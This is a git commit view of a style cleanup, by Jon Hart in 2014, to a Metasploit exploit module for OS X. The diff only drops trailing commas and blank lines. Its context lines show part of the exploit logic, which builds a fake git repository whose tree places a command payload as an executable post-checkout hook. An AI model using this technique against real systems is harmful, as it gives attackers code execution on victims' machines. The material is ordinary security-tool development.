Some style cleanup

bug/bundler_fix
Jon Hart 2014-12-19 15:35:09 -08:00
parent 4d0b5d1a50
commit 9b815ea0df
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 4 additions and 6 deletions

View File

@ -30,7 +30,7 @@ class Metasploit4 < Msf::Exploit::Remote
'Compat' => 'Compat' =>
{ {
'PayloadType' => 'cmd', 'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet', 'RequiredCmd' => 'generic perl ruby bash telnet'
} }
}, },
'Platform' => 'osx', 'Platform' => 'osx',
@ -40,9 +40,9 @@ class Metasploit4 < Msf::Exploit::Remote
'Automatic', 'Automatic',
{ {
'Platform' => [ 'unix' ], 'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD
}, }
], ]
], ],
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
@ -53,7 +53,6 @@ class Metasploit4 < Msf::Exploit::Remote
]) ])
end end
def setup def setup
# This builds a fake git repository using the knowledge from: # This builds a fake git repository using the knowledge from:
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html # http://schacon.github.io/gitbook/7_how_git_stores_objects.html
@ -69,7 +68,6 @@ class Metasploit4 < Msf::Exploit::Remote
sha1, content = build_object('blob', full_cmd) sha1, content = build_object('blob', full_cmd)
@file_paths["/objects/#{get_path(sha1)}"] = content @file_paths["/objects/#{get_path(sha1)}"] = content
# build tree that points to the blob # build tree that points to the blob
#sha1, content = build_object('tree', '41100755 post-checkout', [sha1].pack('H*'))
sha1, content = build_object('tree', "100755 post-checkout\0#{[sha1].pack('H*')}") sha1, content = build_object('tree', "100755 post-checkout\0#{[sha1].pack('H*')}")
@file_paths["/objects/#{get_path(sha1)}"] = content @file_paths["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the hooks directory in which post-update lives # build a tree that points to the hooks directory in which post-update lives